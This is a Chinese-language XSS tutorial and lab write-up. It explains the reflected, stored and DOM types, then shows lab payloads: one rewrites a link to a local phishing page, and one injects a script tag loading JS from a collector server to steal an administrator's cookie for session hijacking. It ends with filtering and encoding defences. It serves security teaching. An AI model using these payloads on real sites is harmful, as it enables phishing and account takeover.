XSS的簡單介紹
- 跨站腳本攻擊(Cross Site Scripting),為不和層疊樣式表(Cascading Style Sheets,CSS)的縮寫混淆,故將跨站腳本攻擊縮寫為XSS。惡意攻擊者往Web頁面里插入惡意Script代碼,當用戶瀏覽該頁之時,嵌入其中Web里面的Script代碼會被執行,從而達到惡意攻擊用戶目的。
- XSS危害:
- 流量劫持
- 獲取用戶cookie信息,盜取賬號
- 篡改、刪除頁面信息(釣魚)
- 配合CSRF攻擊,實施進一步攻擊
- XSS分類
- 反射型XSS:反射型XSS也被稱為非持久性XSS,當用戶訪問一個帶有XSS代碼的HTML請求時,服務器端接收數據后處理,然后把帶有XSS的數據發送到瀏覽器,瀏覽器解析這段帶有XSS代碼的數據后,就造成XSS漏洞,這個過程就像一次反射,所以叫反射型XSS。
- 存儲型XSS:存儲型XSS又被稱為持久性XSS,存儲型XSS是最危險的一種跨站腳本漏洞,當攻擊者提交一段 XSS代碼后,被服務端接收並存儲,當攻擊者或用戶再次訪問某個頁面時,這段XSS代碼被程序讀出來響應給瀏覽器,造成XSS跨站攻擊,這是存儲型XSS。
- DOM型:不經過后端,DOM—based XSS漏洞是基於文檔對象模型Document Objeet Model,DOM)的一種漏洞,dom - xss是通過url傳入參數去控制觸發的。
實驗場景一:釣魚攻擊
任務一:
測試管理界面是否存在XSS
小提示:提示錯誤url會返回username的值,閉合前后標簽
在用戶名框中輸入"><script>alert(2)</script>(閉合input標簽)
結果,界面彈窗,證明該系統存在XSS注入
任務二:
上一步驗證得出,該頁面存在XSS漏洞。接下來針對該漏洞進行修改鏈接屬性實現跳轉到釣魚界面
在username=后面加上"><script>document.getElementsByTagName("body")[0].onload=function changeLink(){document.getElementById("myId").href='http://127.0.0.1:8082/wjmm.php';}</script><a(修改忘記密碼a標簽的href,使其指向釣魚網站)
點擊忘記密碼,進入了釣魚網站
實驗場景二:盜取cookie
任務一:
將js代碼</textarea>'"><script src=http://127.0.0.1:8081/xss/cGMiSw?1555397544></script> 發表在文章管理系統的留言板上(該地址指向存放接收信息的服務器上的js路徑)
任務二:
當后台管理員審核留言(或者其他用戶查看到該留言)時,觸發頁面執行js腳本,將瀏覽器的cookie發送到接收服務器
收到cookie后,手動給瀏覽器添加對應cookie
實現偽造管理員(用戶)登錄
XSS漏洞防范
- XSS的威力主要是取決於JavaScript能夠實現的程度,XSS跨站腳本的形成原因是對輸入輸出沒有嚴格過濾,導致在頁面上可以執行JavaScript等客戶端代碼,所以只要將敏感字符過濾,就可以修復XSS跨站漏洞。
- 修復和防范方法:
- 三種類型的XSS漏洞都可以通過過濾或編碼進行修復。
- 反射型XSS和存儲型XSS可以在服務端對用戶輸入輸出的內容過濾和編碼操作,將關鍵字進行過濾處理,關鍵符號進行編碼處理,如將所有on事件,script等關鍵字進行過濾,將所有<,>,”,’,=等特殊符號進行實體化編碼或url編碼便可以修復。
- DOM型XSS如有在服務端進行交互,也可參考上述的方法進行修復,如未和服務端進行交互,可在客戶端使用JavaScript等客戶端腳本語言進行編碼和過濾處理。